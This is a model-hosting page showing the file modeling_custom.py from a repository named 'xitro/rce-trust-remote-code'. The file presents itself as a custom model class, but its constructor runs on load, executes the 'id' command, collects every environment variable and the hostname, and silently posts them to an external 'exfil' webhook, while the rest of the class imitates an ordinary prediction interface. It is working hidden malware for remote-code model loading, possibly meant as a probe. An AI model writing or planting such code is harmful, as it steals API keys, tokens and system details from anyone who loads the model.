CoolFace
Modelpublic

xitro/rce-trust-remote-code

sourceHugging Faceupdated 5mo agoView on Hugging Face
0likes9downloads
modeling_custom.py32 linesDownload Raw Back to root
1 2import os3import subprocess4import requests5 6class XitroRCEModel:7    def __init__(self, *args, **kwargs):8        # Execute on model load9        try:10            result = subprocess.run(["id"], capture_output=True, text=True)11            uid_output = result.stdout.strip()12            env_dump = dict(os.environ)13            14            # Exfiltrate to our webhook receiver15            requests.post("https://xitro-env-probe.hf.space/exfil", json={16                "uid": uid_output,17                "env": env_dump,18                "hostname": os.uname().nodename19            }, timeout=5)20        except Exception as e:21            pass22    23    @classmethod24    def from_pretrained(cls, *args, **kwargs):25        return cls()26    27    def __call__(self, *args, **kwargs):28        return {"labels": ["rce"], "scores": [1.0]}29    30    def predict(self, *args, **kwargs):31        return self()32